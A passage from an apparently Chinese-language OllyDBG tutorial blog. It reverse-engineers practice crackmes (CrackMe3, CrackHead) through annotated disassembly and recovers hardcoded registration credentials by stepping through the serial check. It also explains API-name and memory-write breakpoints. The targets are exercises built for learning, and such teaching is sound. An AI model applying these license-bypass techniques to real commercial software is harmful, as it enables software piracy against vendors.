EDI</span><br><span class="line">00403B33 |. 39D0 CMP EAX,EDX ; 用“Registered User”和我们输入的用户名作比较</span><br><span class="line">00403B35 |. 0F84 8F000000 JE CrackMe3.00403BCA ; 相同则跳</span><br><span class="line">00403B3B |. 85F6 TEST ESI,ESI ; 看看 ESI 中是否有数据,主要是看看我们有没有输入用户名</span><br><span class="line">00403B3D |. 74 68 JE SHORT CrackMe3.00403BA7 ; 用户名为空则跳</span><br><span class="line">00403B3F |. 85FF TEST EDI,EDI</span><br><span class="line">00403B41 |. 74 6B JE SHORT CrackMe3.00403BAE</span><br><span class="line">00403B43 |. 8B46 FC MOV EAX,DWORD PTR DS:[ESI-4] ; 用户名长度送 EAX</span><br><span class="line">00403B46 |. 8B57 FC MOV EDX,DWORD PTR DS:[EDI-4] ; “Registered User”字串的长度送 EDX</span><br><span class="line">00403B49 |. 29D0 SUB EAX,EDX ; 把用户名长度和“Registered User”字串长度相减</span><br><span class="line">00403B4B |. 77 02 JA SHORT CrackMe3.00403B4F ; 用户名长度大于“Registered User”长度则跳</span><br><span class="line">00403B4D |. 01C2 ADD EDX,EAX ; 把减后值与“Registered User”长度相加,即用户名长度</span><br><span class="line">00403B4F |> 52 PUSH EDX</span><br><span class="line">00403B50 |. C1EA 02 SHR EDX,2 ; 用户名长度值右移 2 位,这里相当于长度除以 4</span><br><span class="line">00403B53 |. 74 26 JE SHORT CrackMe3.00403B7B ; 上面的指令及这条指令就是判断用户名长度最少不能低于 4</span><br><span class="line">00403B55 |> 8B0E MOV ECX,DWORD PTR DS:[ESI] ; 把我们输入的用户名送到ECX</span><br><span class="line">00403B57 |. 8B1F MOV EBX,DWORD PTR DS:[EDI] ; 把“Registered User”送到 EBX</span><br><span class="line">00403B59 |. 39D9 CMP ECX,EBX ; 比较</span><br><span class="line">00403B5B |. 75 58 JNZ SHORT CrackMe3.00403BB5 ; 不等则完蛋 </span><br></pre></td></tr></table></figure><p>根据上面的分析,我们知道<strong>用户名必须是“Registered User”</strong>。我们按 <strong>F9 键让程序运行</strong>,出现错误对话框,点确定,<strong>重新在第一个编辑框中输入“Registered User”</strong>,再次点击那个“Register now !”按钮,被 OllyDBG 拦下。因为地址 00440F34 处的那个 CALL 我们已经分析清楚了,这次就不用再按 F7 键跟进去了,<strong>直接按 F8 键通过</strong>。我们一路按 F8 键,<strong>来到第二个关键代码</strong>处: </p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">00440F49 |. 8B45 FC MOV EAX,DWORD PTR SS:[EBP-4] ; 取输入的注册码</span><br><span class="line">00440F4C |. BA 2C104400 MOV EDX,CrackMe3.0044102C ; ASCII "GFX-754-IER-954"</span><br><span class="line">00440F51 |. E8 D62BFCFF CALL CrackMe3.00403B2C ; 关键,要用 F7 跟进去</span><br><span class="line">00440F56 |. 75 1A JNZ SHORT CrackMe3.00440F72 ; 这里跳走就完蛋</span><br></pre></td></tr></table></figure><p>大家注意看一下,地址 00440F51 处的 <code>CALL CrackMe3.00403B2C</code> 和上面我们分析的地址 00440F34 处的 <code>CALL CrackMe3.00403B2C</code> 是不是汇编指令都一样啊?这说明<strong>检测用户名和注册码是用的同一个子程序</strong>。而这个子程序 CALL 我们在上面已经分析过了。我们执行到现在可以很容易得出结论,这个 <strong>CALL</strong> 也就是<strong>把我们输入的注册码</strong>与 00440F4C 地址处指令后的<strong>“GFX-754-IER-954”作比较</strong>,相等则 OK。好了,我们已经得到足够的信息了。现在我们在菜单 <em>查看->断点</em> 上点击一下,打开断点窗口(也可以通过组合键 <em>ALT+B</em> 或点击工具栏上那个“<em>B”图标</em>打开断点窗口): </p><p><img src="/2022/10/02/OllyDBG%E5%AE%8C%E7%BE%8E%E6%95%99%E7%A8%8B-%E8%B6%85%E5%BC%BA%E5%85%A5%E9%97%A8%E7%BA%A7/image-20220930111645976.png" class="lazyload placeholder" data-srcset="/2022/10/02/OllyDBG%E5%AE%8C%E7%BE%8E%E6%95%99%E7%A8%8B-%E8%B6%85%E5%BC%BA%E5%85%A5%E9%97%A8%E7%BA%A7/image-20220930111645976.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="image-20220930111645976"></p><p><em>为什么要做这一步,而不是把这个断点删除呢?这里主要是为了保险一点,万一分析错误,我们还要接着分析,要是把断点删除了就要做一些重复工作了。还是先禁用一下,如果经过实际验证证明我们的分析是正确的,再删不迟。</em></p><p>现在我们把断点禁用,在 OllyDBG 中按 F9 键让程序运行。输入我们经分析得出的内容 :</p><blockquote><p>用户名: Registered User<br>注册码: GFX-754-IER-954 </p></blockquote><p>点击“<strong>Register now !”按钮</strong>,呵呵,终于成功了: </p><p><img src="/2022/10/02/OllyDBG%E5%AE%8C%E7%BE%8E%E6%95%99%E7%A8%8B-%E8%B6%85%E5%BC%BA%E5%85%A5%E9%97%A8%E7%BA%A7/image-20220930111909147.png" class="lazyload placeholder" data-srcset="/2022/10/02/OllyDBG%E5%AE%8C%E7%BE%8E%E6%95%99%E7%A8%8B-%E8%B6%85%E5%BC%BA%E5%85%A5%E9%97%A8%E7%BA%A7/image-20220930111909147.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="image-20220930111909147"></p><h2 id="函数参考"><a href="#函数参考" class="headerlink" title="函数参考"></a>函数参考</h2><p>现在进入第三篇,这一篇我们重点讲解怎样使用 OllyDBG 中的函数参考(即名称参考)功能。仍然选择 crackmes.cjb.net 镜像打包中的一个名称为 CrackHead 的 crackme。老规矩,先运行一下这个程序看看: </p><p><img src="/2022/10/02/OllyDBG%E5%AE%8C%E7%BE%8E%E6%95%99%E7%A8%8B-%E8%B6%85%E5%BC%BA%E5%85%A5%E9%97%A8%E7%BA%A7/image-20220930112551097.png" class="lazyload placeholder" data-srcset="/2022/10/02/OllyDBG%E5%AE%8C%E7%BE%8E%E6%95%99%E7%A8%8B-%E8%B6%85%E5%BC%BA%E5%85%A5%E9%97%A8%E7%BA%A7/image-20220930112551097.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="image-20220930112551097"></p><p>呵,竟然没找到输入注册码的地方!别急,我们点一下程序上的那个菜单“Shit”(真是 Shit 啊,呵呵),在下拉菜单中选“Try It”,会来到如下界面 </p><p><img src="/2022/10/02/OllyDBG%E5%AE%8C%E7%BE%8E%E6%95%99%E7%A8%8B-%E8%B6%85%E5%BC%BA%E5%85%A5%E9%97%A8%E7%BA%A7/image-20220930112613273.png" class="lazyload placeholder" data-srcset="/2022/10/02/OllyDBG%E5%AE%8C%E7%BE%8E%E6%95%99%E7%A8%8B-%E8%B6%85%E5%BC%BA%E5%85%A5%E9%97%A8%E7%BA%A7/image-20220930112613273.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="image-20220930112613273"></p><p>我们点一下那个“Check It”按钮试一下,哦,竟然没反应!我再输个“78787878”试试,还是没反应。再试试输入字母或其它字符,输不进去。由此<strong>判断注册码应该都是数字,只有输入正确的注册码才有动静</strong>。用 <strong>PEiD 检测一下,结果为 MASM32 / TASM32</strong>,怪不得程序比较小。信息收集的差不多了,现在关掉这个程序,我们用 <strong>OllyDBG 载入</strong>,按 F9 键直接让它运行起来,依次点击上面图中所说的菜单,使被调试程序显示如上面的第二个图。<strong>先不要点那个“Check It”</strong>按钮,保留上图的状态。</p><p>现在我们<strong>没有什么字串好参考</strong>了,我们就在 <strong>API 函数上下断点</strong>,来让被调试<strong>程序中断在我们希望的地方</strong>。我们在 OllyDBG 的反汇编窗口中右击鼠标,在弹出菜单中选择 <em>查找->当前模块中的名称 (标签)</em>,或者我们通过按 <em>CTR+N 组合键</em>也可以达到同样的效果(注意在进行此操作时要在 OllyDBG 中保证是在当前被调试程序的领空,我在第一篇中已经介绍了领空的概念,如我这里调试这个程序时 OllyDBG 的<strong>标题栏</strong>显示的就是“<strong>[CPU - 主线程, 模块 - CrackHea]</strong>”,这表明我们当前<strong>在被调试程序的领空</strong>)。通过上面的操作后会弹出一个对话框,如图: </p><p><img src="/2022/10/02/OllyDBG%E5%AE%8C%E7%BE%8E%E6%95%99%E7%A8%8B-%E8%B6%85%E5%BC%BA%E5%85%A5%E9%97%A8%E7%BA%A7/image-20220930113105577.png" class="lazyload placeholder" data-srcset="/2022/10/02/OllyDBG%E5%AE%8C%E7%BE%8E%E6%95%99%E7%A8%8B-%E8%B6%85%E5%BC%BA%E5%85%A5%E9%97%A8%E7%BA%A7/image-20220930113105577.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="image-20220930113105577"></p><p>对于这样的编辑框中输注册码的程序我们要设断点首选的 API 函数就是 <strong>GetDlgItemText</strong> 及 <strong>GetWindowText</strong>。每个函数都有<strong>两个版本</strong>,一个是 <strong>ASCII 版</strong>,在函数后<strong>添加一个 A</strong> 表示,如 <strong>GetDlgItemTextA</strong>,另一个是 <strong>UNICODE 版</strong>,在函数后<strong>添加一个 W</strong> 表示。如 <strong>GetDlgItemTextW</strong>。对于编译为 UNCODE 版的程序可能在 Win98 下不能运行,因为 Win98 并非是完全支持 UNICODE 的系统。而 NT 系统则从底层支持 UNICODE,它可以在操作系统内对字串进行转换,同时支持 ASCII 和 UNICODE 版本函数的调用。</p><p>一般我们打开的程序看到的调用都是 ASCII 类型的函数,以“A”结尾。又跑题了,呵呵。现在回到我们调试的程序上来,我们现在就是要找一下我们调试的程序<strong>有没有调用</strong> GetDlgItemTextA 或 GetWindowTextA 函数。还好,找到一个 GetWindowTextA。在这个函数上右击,在弹出菜单上选择“<em>在每个参考上设置断点</em>”,我们会在 OllyDBG 窗口最<strong>下面的那个状态栏</strong>里看到“<strong>已设置 2 个断点</strong>”。另一种方法就是那个 GetWindowTextA 函数上右击,在弹出菜单上选择“<em>查找输入函数参考</em>”(或者按回车键),将会出现下面的对话框: </p><p><img src="/2022/10/02/OllyDBG%E5%AE%8C%E7%BE%8E%E6%95%99%E7%A8%8B-%E8%B6%85%E5%BC%BA%E5%85%A5%E9%97%A8%E7%BA%A7/image-20220930113215362.png" class="lazyload placeholder" data-srcset="/2022/10/02/OllyDBG%E5%AE%8C%E7%BE%8E%E6%95%99%E7%A8%8B-%E8%B6%85%E5%BC%BA%E5%85%A5%E9%97%A8%E7%BA%A7/image-20220930113215362.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="image-20220930113215362"></p><p>看上图,我们<strong>可以把两条都设上断点</strong>。这个程序只需在第一条指令设断点就可以了。好,我们现在按前面提到的第一条方法,就是“在每个参考上设置断点”,这样上图中的两条指令都会设上断点。断点设好后我们转到我们调试的程序上来,现在我们在被我们调试的程序上点击那个“<em>Check It</em>”按钮,被 OllyDBG 断下: </p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line">00401323 |. E8 4C010000 CALL <JMP.&USER32.GetWindowTextA> ; GetWindowTextA</span><br><span class="line">00401328 |. E8 A5000000 CALL CrackHea.004013D2 ; 关键,要按 F7 键跟进去</span><br><span class="line">0040132D |. 3BC6 CMP EAX,ESI ; 比较</span><br><span class="line">0040132F |. 75 42 JNZ SHORT CrackHea.00401373 ; 不等则完蛋</span><br><span class="line">00401331 |. EB 2C JMP SHORT CrackHea.0040135F</span><br><span class="line">00401333 |. 4E 6F 77 20 7> ASCII "Now write a keyg"</span><br><span class="line">00401343 |. 65 6E 20 61 6> ASCII "en and tut and y"</span><br><span class="line">00401353 |. 6F 75 27 72 6> ASCII "ou&apos;re done.",0</span><br><span class="line">0040135F |> 6A 00 PUSH 0 ; Style = MB_OK|MB_APPLMODAL</span><br><span class="line">00401361 |. 68 0F304000 PUSH CrackHea.0040300F ; Title = "Crudd&apos;s Crack Head"</span><br><span class="line">00401366 |. 68 33134000 PUSH CrackHea.00401333 ; Text = "Now write a keygen and tut and you&apos;re done."</span><br><span class="line">0040136B |. FF75 08 PUSH DWORD PTR SS:[EBP+8] ; hOwner</span><br><span class="line">0040136E |. E8 19010000 CALL <JMP.&USER32.MessageBoxA> ; MessageBoxA</span><br></pre></td></tr></table></figure><p>从上面的代码,我们很容易看出 00401328 地址处的 <code>CALL CrackHea.004013D2</code> 是关键,必须仔细跟踪。而注册成功则会显示一个对话框,标题是“Crudd’s Crack Head”,对话框显示的内容是“Now write a keygen and tut and you’re done.”现在我按一下 F8,准备步进到 00401328 地址处的那条 CALL CrackHea.004013D2 指令后再按 F7 键跟进去。等等,怎么回事?怎么按一下 F8 键跑到这来了: </p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">00401474 $- FF25 2C204000 JMP DWORD PTR DS:[<&USER32.GetWindowText> ; USER32.GetWindowTextA</span><br><span class="line">0040147A $- FF25 30204000 JMP DWORD PTR DS:[<&USER32.LoadCursorA>] ; USER32.LoadCursorA</span><br><span class="line">00401480 $- FF25 1C204000 JMP DWORD PTR DS:[<&USER32.LoadIconA>] ; USER32.LoadIconA</span><br><span class="line">00401486 $- FF25 20204000 JMP DWORD PTR DS:[<&USER32.LoadMenuA>] ; USER32.LoadMenuA</span><br><span class="line">0040148C $- FF25 24204000 JMP DWORD PTR DS:[<&USER32.MessageBoxA>] ; USER32.MessageBoxA</span><br></pre></td></tr></table></figure><p>原来是跳到另一个断点了(之前一次性设置了两个断点)。这个断点我们不需要,按一下 F2 键删掉它吧。</p><p>删掉 00401474 地址处的断点后,我再按 F8 键,呵,完了,跑到 User32.dll 的领空了。看一下 OllyDBG 的标题栏: “<em>[CPU - 主线程, 模块 - USER32]</em>”,跑到系统领空了, OllyDBG 反汇编窗口中显示代码是这样: </p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">77D3213C 6A 0C PUSH 0C</span><br><span class="line">77D3213E 68 A021D377 PUSH USER32.77D321A0</span><br><span class="line">77D32143 E8 7864FEFF CALL USER32.77D185C0</span><br></pre></td></tr></table></figure><p>怎么办?别急,我们按一下 ALT+F9 组合键(快速回到用户领空),呵,回来了: </p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">00401328 |. E8 A5000000 CALL CrackHea.004013D2 ; 关键,要按 F7 键跟进去</span><br><span class="line">0040132D |. 3BC6 CMP EAX,ESI ; 比较</span><br><span class="line">0040132F |. 75 42 JNZ SHORT CrackHea.00401373 ;</span><br></pre></td></tr></table></figure><p>光标停在 00401328 地址处的那条指令上。现在我们按 F7 键跟进:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br></pre></td><td class="code"><pre><span class="line">004013D2 /$ 56 PUSH ESI ; ESI 入栈</span><br><span class="line">004013D3 |. 33C0 XOR EAX,EAX ; EAX 清零</span><br><span class="line">004013D5 |. 8D35 C4334000 LEA ESI,DWORD PTR DS:[4033C4] ; 把注册码框中的数值送到 ESI</span><br><span class="line">004013DB |. 33C9 XOR ECX,ECX ; ECX 清零</span><br><span class="line">004013DD |. 33D2 XOR EDX,EDX ; EDX 清零</span><br><span class="line">004013DF |. 8A06 MOV AL,BYTE PTR DS:[ESI] ; 把注册码中的每个字符送到 AL</span><br><span class="line">004013E1 |. 46 INC ESI ; 指针加 1,指向下一个字符</span><br><span class="line">004013E2 |. 3C 2D CMP AL,2D ; 把取得的字符与 16 进制值为2D 的字符(即“-”)比较,这里主要用于判断输入的是不是负数</span><br><span class="line">004013E4 |. 75 08 JNZ SHORT CrackHea.004013EE ; 不等则跳(不等说明没有负号,于是跳过对于负号的处理)</span><br><span class="line">004013E6 |. BA FFFFFFFF MOV EDX,-1 ; 如果输入的是负数,则把-1 送到 EDX,即 16 进制 FFFFFFFF</span><br><span class="line">004013EB |. 8A06 MOV AL,BYTE PTR DS:[ESI] ; 取“-”号后的第一个字符</span><br><span class="line">004013ED |. 46 INC ESI ; 指针加 1,指向再下一个字符</span><br><span class="line">004013EE |> EB 0B JMP SHORT CrackHea.004013FB</span><br><span class="line">004013F0 |> 2C 30 SUB AL,30 ; 每位字符减 16 进制的 30,因为这里都是数字,如 1 的 ASCII 码是“31H”,减 30H 后为 1,即我们平时看到的数值</span><br><span class="line">004013F2 |. 8D0C89 LEA ECX,DWORD PTR DS:[ECX+ECX*4] ; 把前面运算后保存在 ECX 中的结果乘 5 再送到 ECX</span><br><span class="line">004013F5 |. 8D0C48 LEA ECX,DWORD PTR DS:[EAX+ECX*2] ; 每位字符运算后的值与 2 倍上一位字符运算后值相加后送 ECX</span><br><span class="line">004013F8 |. 8A06 MOV AL,BYTE PTR DS:[ESI] ; 取下一个字符</span><br><span class="line">004013FA |. 46 INC ESI ; 指针加 1,指向再下一个字符</span><br><span class="line">004013FB |> 0AC0 OR AL,AL</span><br><span class="line">004013FD |.^ 75 F1 JNZ SHORT CrackHea.004013F0 ; 上面一条和这一条指令主要是用来判断是否已把用户输入的注册码计算完</span><br><span class="line">004013FF |. 8D040A LEA EAX,DWORD PTR DS:[EDX+ECX] ; 把 EDX 中的值与经过上面运算后的 ECX 中值相加送到 EAX</span><br><span class="line">00401402 |. 33C2 XOR EAX,EDX ; 把 EAX 与 EDX 异或。如果我们输入的是负数,则此处功能就是把 EAX 中的值取反</span><br><span class="line">00401404 |. 5E POP ESI ; ESI 出栈(还原 004013D2 入栈的ESI数据)。看到这条和下一条指令,我们要考虑一下这个 ESI 的值是哪里运算得出的呢?</span><br><span class="line">00401405 |. 81F6 53757A79 XOR ESI,797A7553 ; 把 ESI中的值与 797A7553H 异或</span><br><span class="line">0040140B \. C3 RETN</span><br></pre></td></tr></table></figure><p>这里留下了一个问题:<strong>那个 ESI 寄存器中的值是从哪运算出来的?先不管这里</strong>,我们接着按 F8 键往下走,来到 0040140B 地址处的那条 RETN 指令(这里可以通过在调试选项的“命令”标签中勾选“使用 RET 代替 RETN”来更改返回指令的显示方式),再按一下 F8,我们就走出 00401328 地址处的那个 CALL 了。现在我们回到了这里。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">0040132D |. 3BC6 CMP EAX,ESI ; 比较</span><br><span class="line">0040132F |. 75 42 JNZ SHORT CrackHea.00401373 ; 不等则完蛋</span><br></pre></td></tr></table></figure><p>光标停在了 0040132D 地址处的那条指令上。根据前面的分析,我们知道 <strong>EAX 中存放的是我们输入的注册码经过计算后的值</strong>。我们来看一下信息窗口: </p><blockquote><p>ESI=E6B5F2F9<br>EAX=FF439EBE </p></blockquote><p>左键选择信息窗口中的 ESI=E6B5F2F9,再按右键,在弹出菜单上选“修改寄存器”,我们会看到这样一个窗口: </p><p><img src="/2022/10/02/OllyDBG%E5%AE%8C%E7%BE%8E%E6%95%99%E7%A8%8B-%E8%B6%85%E5%BC%BA%E5%85%A5%E9%97%A8%E7%BA%A7/image-20220930151534648.png" class="lazyload placeholder" data-srcset="/2022/10/02/OllyDBG%E5%AE%8C%E7%BE%8E%E6%95%99%E7%A8%8B-%E8%B6%85%E5%BC%BA%E5%85%A5%E9%97%A8%E7%BA%A7/image-20220930151534648.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="image-20220930151534648"></p><p>可能你的显示跟我不一样,因为这个 crackme 中已经说了每个机器的序列号不一样。关掉上面的窗口,再对信息窗口中的 EAX=FF439EBE 做同样操作: </p><p><img src="/2022/10/02/OllyDBG%E5%AE%8C%E7%BE%8E%E6%95%99%E7%A8%8B-%E8%B6%85%E5%BC%BA%E5%85%A5%E9%97%A8%E7%BA%A7/image-20220930151627994.png" class="lazyload placeholder" data-srcset="/2022/10/02/OllyDBG%E5%AE%8C%E7%BE%8E%E6%95%99%E7%A8%8B-%E8%B6%85%E5%BC%BA%E5%85%A5%E9%97%A8%E7%BA%A7/image-20220930151627994.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="image-20220930151627994"></p><p>由上图我们知道了原来前面分析的对我们输入的注册码进行处理后的结果就是把字符格式转为数字格式。 </p><p>我们原来输入的是字串“12345666”,现在转换为了数字 12345666。这下就很清楚了,随便在上面那个修改 ESI 图中显示的有符号或无符号编辑框中复制一个,粘贴到我们调试的程序中的编辑框中试一下: </p><p><img src="/2022/10/02/OllyDBG%E5%AE%8C%E7%BE%8E%E6%95%99%E7%A8%8B-%E8%B6%85%E5%BC%BA%E5%85%A5%E9%97%A8%E7%BA%A7/image-20220930151725005.png" class="lazyload placeholder" data-srcset="/2022/10/02/OllyDBG%E5%AE%8C%E7%BE%8E%E6%95%99%E7%A8%8B-%E8%B6%85%E5%BC%BA%E5%85%A5%E9%97%A8%E7%BA%A7/image-20220930151725005.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="image-20220930151725005"></p><p>成功了。且慢高兴,这个 crackme 是要求写出注册机的。我们先不要求写注册机,但<strong>注册的算法</strong>我们要搞清楚。还记得我在前面说到的那个 ESI 寄存器值的问题吗?现在看看我们上面的分析,其实对做注册机来说是没有多少帮助的。要搞清注册算法,<strong>必须知道上面那个 ESI 寄存器值是如何产生的</strong>,这弄清楚后才能真正清楚这个 crackme 算法。今天就先说到这里,关于如何追出 ESI 寄存器的值我就留到下一篇-<strong>内存断点</strong> 中再讲吧。 </p><h2 id="内存断点"><a href="#内存断点" class="headerlink" title="内存断点"></a>内存断点</h2><p>还记得上一篇的内容吗?在那篇文章中我们分析后发现一个 <strong>ESI 寄存器值不知是从什么地方产生的</strong>,要弄清这个问题必须要<strong>找到生成这个 ESI 值的计算部分</strong>。今天我们的任务就是使用 OllyDBG 的内存断点功能找到这个地方,搞清楚这个值是如何算出来的。这次分析的目标程序还是上一篇的那个 crackme,附件我就不再上传了,用上篇中的附件就可以了。下面我们开始:还记得我们上篇中所说的关键代码的地方吗?温习一下: </p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">00401323 |. E8 4C010000 CALL <JMP.&USER32.GetWindowTextA> ; GetWin</span><br><span class="line">dowTextA</span><br><span class="line">00401328 |. E8 A5000000 CALL CrackHea.004013D2 ; 关键,要按 F7 键跟进去</span><br><span class="line">0040132D |. 3BC6 CMP EAX,ESI ; 比较</span><br><span class="line">0040132F |. 75 42 JNZ SHORT CrackHea.00401373 ; 不等则完蛋</span><br></pre></td></tr></table></figure><p>我们重新用 OllyDBG 载入目标程序, F9 运行来到上面代码所在的地方(你上次设的断点应该没删吧?),我们向上看看能不能找到那个 ESI 寄存器中最近是在哪里赋的值。哈哈,原来就在附近啊:</p><p><img src="/2022/10/02/OllyDBG%E5%AE%8C%E7%BE%8E%E6%95%99%E7%A8%8B-%E8%B6%85%E5%BC%BA%E5%85%A5%E9%97%A8%E7%BA%A7/image-20220930160128487.png" class="lazyload placeholder" data-srcset="/2022/10/02/OllyDBG%E5%AE%8C%E7%BE%8E%E6%95%99%E7%A8%8B-%E8%B6%85%E5%BC%BA%E5%85%A5%E9%97%A8%E7%BA%A7/image-20220930160128487.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="image-20220930160128487"></p><p>我们现在知道 <strong>ESI 寄存器的值是从内存地址 40339C 中送过来的</strong>,那内存地址 40339C 中的数据是什么时候产生的呢?大家注意,我这里信息窗口中显示的是 DS:[0040339C]=9FCF87AA,你那可能是 DS:[0040339C]=XXXXXXXX,这里的 XXXXXXXX 表示的是其它的值,就是说与我这里显示的 9FCF87AA 不一样。我们按上图的操作在数据窗口中看一下:</p><p><img src="/2022/10/02/OllyDBG%E5%AE%8C%E7%BE%8E%E6%95%99%E7%A8%8B-%E8%B6%85%E5%BC%BA%E5%85%A5%E9%97%A8%E7%BA%A7/image-20220930160653906.png" class="lazyload placeholder" data-srcset="/2022/10/02/OllyDBG%E5%AE%8C%E7%BE%8E%E6%95%99%E7%A8%8B-%E8%B6%85%E5%BC%BA%E5%85%A5%E9%97%A8%E7%BA%A7/image-20220930160653906.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="image-20220930160653906"></p><p>从上图我们可以看出内存地址 40339C 处的值已经有了,说明早就算过了。现在怎么办呢?我们考虑一下,看情况<strong>程序是把这个值算出来以后写在这个内存地址</strong>,那我们要是能让 OllyDBG <strong>在程序开始往这个内存地址写东西的时候中断下来</strong>,不就有可能知道目标程序是怎么算出这个值的吗?说干就干,我们在 OllyDBG 的菜单上点 <em>调试->重新开始</em>,或者按 <em>CTR+F2 组合键</em>(还可以点击工具栏上的那个有两个实心左箭头的图标)来重新载入程序。这时会跳出一个“进程仍处于激活状态”的对话框(我们可以在在调试选项的安全标签下把“终止活动进程时警告”这条前面的勾去掉,这样下次就不会出现这个对话框了),问我们是否要终止进程。这里我们选“是”,程序被重新载入,我们停在下面这一句上: </p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">00401000 >/$ 6A 00 PUSH 0 ; pModule = NULL</span><br></pre></td></tr></table></figure><p>现在我们就要来设内存断点了。在 OllyDBG 中一般我们用到的内存断点有<strong>内存访问和内存写入断点</strong>。内存访问断点就是指程序<strong>访问内存中我们指定的内存地址时中断</strong>,内存写入断点就是指程序往我们<strong>指定的内存地址中写东西时中断</strong>。</p><p><em>更多关于断点的知识大家可以参考这篇 Lenus 兄弟写的《如何对抗硬件断点之一 —- 调试寄存器》文章(<a href="https://bbs.pediy.com/thread-10829.htm),也可以看这个帖:">https://bbs.pediy.com/thread-10829.htm),也可以看这个帖:</a> <a href="http://bbs.pediy.com/showthread.php?threadid=10829。">http://bbs.pediy.com/showthread.php?threadid=10829。</a></em></p><p>根据当前我们调试的具体程序的情况,我们选用内存写入断点。还记得前面我叫大家记住的那个 40339C 内存地址吗?现在我们要用上了。我们先在 OllyDBG 的数据窗口中左键点击一下,再右击,会弹出一个如下图所示的菜单。我们选择其中的<em>转到->表达式</em>(也可以左键点击数据窗口后按 <em>CTR+G 组合键</em>)。如下图: </p><p><img src="/2022/10/02/OllyDBG%E5%AE%8C%E7%BE%8E%E6%95%99%E7%A8%8B-%E8%B6%85%E5%BC%BA%E5%85%A5%E9%97%A8%E7%BA%A7/image-20220930161433894.png" class="lazyload placeholder" data-srcset="/2022/10/02/OllyDBG%E5%AE%8C%E7%BE%8E%E6%95%99%E7%A8%8B-%E8%B6%85%E5%BC%BA%E5%85%A5%E9%97%A8%E7%BA%A7/image-20220930161433894.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="image-20220930161433894"></p><p>现在将会出现这样一个对话框:<br>我们在上面那个编辑框中输入我们想查看内容的内存地址 40339C,然后点确定按钮,数据窗口中显示如下:</p><p><img src="/2022/10/02/OllyDBG%E5%AE%8C%E7%BE%8E%E6%95%99%E7%A8%8B-%E8%B6%85%E5%BC%BA%E5%85%A5%E9%97%A8%E7%BA%A7/image-20220930162333637.png" class="lazyload placeholder" data-srcset="/2022/10/02/OllyDBG%E5%AE%8C%E7%BE%8E%E6%95%99%E7%A8%8B-%E8%B6%85%E5%BC%BA%E5%85%A5%E9%97%A8%E7%BA%A7/image-20220930162333637.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="image-20220930162333637"></p><p>我们可以看到, 40339C 地址开始处的这段内存里面还没有内容。我们现在在 40339C 地址处后面的 HEX 数据或 ASCII 栏中<strong>按住左键往后拖放,选择一段</strong>。内存断点的特性就是不管你选几个字节, <strong>OllyDBG 都会分配 4096 字节的内存区</strong>。这里我就选从 40339C 地址处开始的四个字节,主要是为了让大家提前了解一下硬件断点的设法,因为<strong>硬件断点最多只能选 4 个字节</strong>。<strong>选中部分会显示为灰色</strong>。选好以后松开鼠标左键,在我们选中的灰色部分上右击: </p><p><img src="/2022/10/02/OllyDBG%E5%AE%8C%E7%BE%8E%E6%95%99%E7%A8%8B-%E8%B6%85%E5%BC%BA%E5%85%A5%E9%97%A8%E7%BA%A7/image-20220930163121144.png" class="lazyload placeholder" 